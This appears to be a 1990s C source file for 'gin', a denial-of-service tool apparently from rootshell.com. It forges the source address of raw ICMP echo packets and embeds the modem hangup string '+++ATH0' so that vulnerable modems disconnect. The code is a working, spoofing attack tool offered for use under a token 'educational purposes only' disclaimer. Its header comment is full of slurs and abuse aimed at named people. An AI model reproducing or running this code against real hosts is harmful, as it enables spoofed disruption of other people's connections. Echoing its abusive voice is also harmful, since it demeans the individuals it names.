/*
 * gin.c [ fuck the soda nukers, im no kiddie ]
 *
 * [ http://www.rootshell.com/ ]
 *
 * [ sarcastic program description here ]
 *   pff, hey kiddiez! this program sends mad packets to some foo from
 *   every broadcast address on earth, mad leet yo...
 *   (you really wanna know what it does? LEARN TO CODE! and stop being a
 *   gayass fuckin script kiddie)
 *
  * Author: amputee (amputee@fack.net)
  * Compiled on:
  *      Linux 2.2.9 i586 (GNU/Debian 2.2 development version)
  *      egcs-2.91.66
  *
  * [ time for greets, and fuck yous ]
  *
  * [ Greets (in no logical order) ]
  *  scummy, fobia (come back foo), ignitor, stalin, bigs, rotafer, statix
  *  silencers, blackang|, porp, the rest of #shutdown, soldier, klepto,
  *  drastic, the other #havok OGs and #eof, governor, cry0mance, gixerboy,
  *  protocol-, broknbonz, abalution,  and anyone else i forgot that isn't
  *  in my fuck you list...
  *
  * [ Fuck yous ]
  *  spawn66x1 <--hahah, nucleoid (aka dynamo, emulate, microbe, immune,
  *  logistic ) you annoy me you stupid fuck, all authorities at PVPHS
  *  (my old high school) i wish cancer upon you. madcrew, you are gay
  *  and, anyone else who isnt in my greets list =]
  *
  * [ disclaimer ]
  *  i really dont see how i could get in trouble for this stupid program
  *  its really not that great, but the legal system is gay these days,
  *  so...this program is for educational purposes only, and the author
  *  holds no liability for the actions of the people that use it, that
  *  includes dwarfs, cyclopses, albinos, and anyone else who may happen
  *  to use my program. dont modify or rip on this shit, suck me
  *      -- amp
  *
  *  [ Nota de RoMaN SoFt ] Compilar con:
  *     g++ -O3 -o gin gin.c
  */
                    #include <stdio.h>
                    #include <signal.h>
                    #include <unistd.h>
                    #include <stdlib.h>
                    #include <string.h>
                    #include <ctype.h>
                    #include <sys/socket.h>
                    #include <sys/types.h>
                    #include <netinet/in.h>
                    #include <netinet/ip.h>
                    #include <netinet/ip_icmp.h>
                    #include <arpa/inet.h>
                    #include <netdb.h>
                    #include <sys/time.h>

                    #define VERSION "1.2-05.05" //fixed old compiler compatibility problems
                    #define FRIEND  "foo"

                    void usage( char *name );
                    void banner( void );
                    char *get_progname( char *fullname );
                    void done( int foo );
                    void gin( int port, struct sockaddr_in sin, struct sockaddr_in din );
                    unsigned short in_chksum( u_short *ipbuf, int iplen );

                    int main( int argc, char **argv )
                    {
                        struct hostent *sourceinfo, *destinfo;
                        struct sockaddr_in sin, din;
                        int sockfd, numpackets, i;
                        char *target, *source;

                        banner();

                        ( argc < 4 ) ? usage( get_progname( argv[0] ) ) : ( void )NULL;

                        source = argv[1];
                        target = argv[2];
                        numpackets = ( atoi( argv[3] ) );

                        signal( SIGINT, done );

                        if( ( sourceinfo = gethostbyname( source ) ) == NULL )
                        {
                            printf( "cannot resolve source host!\n" );
                            exit( -1 );
                        }
                        memcpy( ( caddr_t )&sin.sin_addr, sourceinfo->h_addr,
                            sourceinfo->h_length );
                        sin.sin_family = AF_INET;

                        if( ( destinfo = gethostbyname( target ) ) == NULL )
                        {
                            printf( "cannot resolve destination host!\n" );
                            exit( -1 );
                        }
                        memcpy( ( caddr_t )&din.sin_addr, destinfo->h_addr,
                            destinfo->h_length );
                        din.sin_family = AF_INET;

                        if( ( sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
                        {
                            printf( "Cannot get raw socket, you must be root!\n" );
                            exit( -1 );
                        }

                        printf( "Source Host\t\t: %s\n", inet_ntoa( sin.sin_addr ) );
                        printf( "Target Host\t\t: %s\n", inet_ntoa( din.sin_addr ) );
                        printf( "Number\t\t\t: %d\n", numpackets );

                        printf( "Have some gin sucka" );

                        for( i = 0; i < numpackets; i++ )
                            gin( sockfd, sin, din );

                        printf( "\n\nsent %d packet%c...done\n", numpackets, ( numpackets > 1
                    )
                            ? 's' : ( char )NULL );
                        return 0;
                    }

                    void usage( char *name )
                    {
                        printf( "usage: %s <source host> <dest host> <num packets>\n[ http://www.rootshell.com/ ] \n\n", name
                    );
                        exit( 0 );
                    }

                    void banner( void )
                    {
                            printf( "\ngin [ v%s ] /\\ by amputee\n", VERSION );
                            printf( "compiled for: %s\n\n", FRIEND );
                    }

                    char *get_progname( char *fullname )
                    {
                        char *retval = strrchr( fullname, '/' );

                        return retval ? ++retval : fullname;
                    }

                    void done( int foo )
                    {
                        puts( "Exiting...\n" );
                        exit( 1 );
                    }

                    void gin( int port, struct sockaddr_in sin, struct sockaddr_in din )
                    {
                        char *ginstring = "+++ATH0\r+++ATH0\r+++ATH0\r+++ATH0\r";
                        char *packet;
                        int total;
                        struct iphdr *ip;
                        struct icmphdr *icmp;
                        size_t msglen = sizeof( ginstring ), iphlen = sizeof( struct iphdr );
                        size_t icplen = sizeof( struct icmphdr ), timlen = sizeof( struct
                    timeval );
                        int len = strlen( ginstring );

                        packet = ( char * )malloc( iphlen + icplen + len );

                        ip = ( struct iphdr * )packet;
                        icmp = ( struct icmphdr * )( packet + iphlen );

                        ( void )gettimeofday( ( struct timeval * )&packet[( icplen + iphlen
                    )],
                            ( struct timezone * )NULL );
                        memcpy( ( packet + iphlen + icplen + timlen ), ginstring, ( len - 4 )
                    );

                        ip->tot_len = htons( iphlen + icplen + ( len - 4 ) + timlen );
                        ip->version = 4;
                        ip->ihl = 5;
                        ip->tos = 0;
                        ip->ttl = 255;
                        ip->protocol = IPPROTO_ICMP;
                        ip->saddr = sin.sin_addr.s_addr;
                        ip->daddr = din.sin_addr.s_addr;
                        ip->check = in_chksum( ( u_short * )ip, iphlen );

                        icmp->type = ICMP_ECHO;
                        icmp->code = 0;
                        icmp->checksum = in_chksum( ( u_short * )icmp, ( icplen + ( len - 4 )
                    ) );

                        total = ( iphlen + icplen + timlen + len + 16 );

                        sendto( port, packet, total, 0,
                            ( struct sockaddr * )&din, sizeof( struct sockaddr ) );

                        free( packet );
                    }

                    // stolen from smurf
                    unsigned short in_chksum( u_short *ipbuf, int iplen )
                    {
                        register int nleft = iplen;
                        register int sum = 0;
                        u_short answer = 0;

                        while( nleft > 1 )
                        {
                            sum += *ipbuf++;
                            nleft -= 2;
                        }

                        if( nleft == 1 )
                        {
                            *( u_char * )( &answer ) = *( u_char * )ipbuf;
                            sum += answer;
                        }

                        sum = ( sum >> 16 ) + ( sum + 0xffff );
                        sum += ( sum >> 16 );
                        answer = ~sum;

                        return( answer );
                    }